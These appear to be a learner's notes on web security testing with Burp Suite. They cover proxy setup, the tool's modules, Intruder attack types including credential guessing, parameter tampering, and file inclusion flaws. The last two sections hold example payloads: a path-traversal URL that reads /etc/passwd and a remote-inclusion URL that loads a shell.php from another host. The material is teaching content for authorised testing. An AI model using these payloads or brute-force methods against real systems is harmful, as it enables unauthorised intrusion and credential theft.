Session Burp Suite

Burp Suite is a tools that is used to test web application security.



Burp Suite Download Link
           https://portswigger.net/burp/communitydownload


Browser setting ---> proxy settings
1. In the broser ---> goto settings ---> Options
2. Goto Proxy ---> settings
3. Tick Manual Proxy Configuration - Radio Button
4. I will enter the IP Address and the port number
    IP Address --> 127.0.0.1
    Port NUmber --> 8080
5. Tick --> Use  proxy for all protocols
6. No Proxy For ---> localhost, 127.0.0.1 ---> Delete It ---> click on ok
7. start Burp Suite

Modules

1.Proxy -> Allows you to intercept request.
2.Spider(silindi) -> Travells the web pages.
3.Repeater-> Lets you repeat the requests
4.intruder - enables you to attack.
--------------------------------------------------

Attack Methods-->

* Sniper - This uses a single set of payloads. It targets each payload position in turn, and places each payload into that position in turn. Positions that are not targeted for a given request are not affected - the position markers are removed and any enclosed text that appears between them in the template remains unchanged. This attack type is useful for fuzzing a number of request parameters individually for common vulnerabilities. The total number of requests generated in the attack is the product of the number of positions and the number of payloads in the payload set.

* Battering ram - This uses a single set of payloads. It iterates through the payloads, and places the same payload into all of the defined payload positions at once. This attack type is useful where an attack requires the same input to be inserted in multiple places within the request (e.g. a username within a Cookie and a body parameter). The total number of requests generated in the attack is the number of payloads in the payload set.

* Pitchfork - This uses multiple payload sets. There is a different payload set for each defined position (up to a maximum of 20). The attack iterates through all payload sets simultaneously, and places one payload into each defined position. In other words, the first request will place the first payload from payload set 1 into position 1 and the first payload from payload set 2 into position 2; the second request will place the second payload from payload set 1 into position 1 and the second payload from payload set 2 into position 2, etc. This attack type is useful where an attack requires different but related input to be inserted in multiple places within the request (e.g. a username in one parameter, and a known ID number corresponding to that username in another parameter). The total number of requests generated in the attack is the number of payloads in the smallest payload set.

* Cluster bomb - This uses multiple payload sets. There is a different payload set for each defined position (up to a maximum of 20). The attack iterates through each payload set in turn, so that all permutations of payload combinations are tested. I.e., if there are two payload positions, the attack will place the first payload from payload set 2 into position 2, and iterate through all the payloads in payload set 1 in position 1; it will then place the second payload from payload set 2 into position 2, and iterate through all the payloads in payload set 1 in position 1. This attack type is useful where an attack requires different and unrelated or unknown input to be inserted in multiple places within the request (e.g. when guessing credentials, a username in one parameter, and a password in another parameter). The total number of requests generated in the attack is the product of the number of payloads in all defined payload sets - this may be extremely large.


Post Parameter Tampering
It is an attack which occurs when the user or the hacker is able tamper with orignal values of an input paramter and change those values to different values.

spider:
Intercept the request with the help of proxy tab first then right click and click on on send to spider option
Local File Inclusion (also known as LFI)
==========================================
It is the process of including files, that are already locally present on the server, through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing directory traversal characters (such as dot-dot-slash) to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.

ex: http://vulnerable_host/preview.php?file=../../../../etc/passwd

Remote File Inclusion (also known as RFI)
============================================
It is the process of including remote files through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing external URL to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.

ex: www.xyz.com/contacts.php?page=http://www.abc.com/shell.php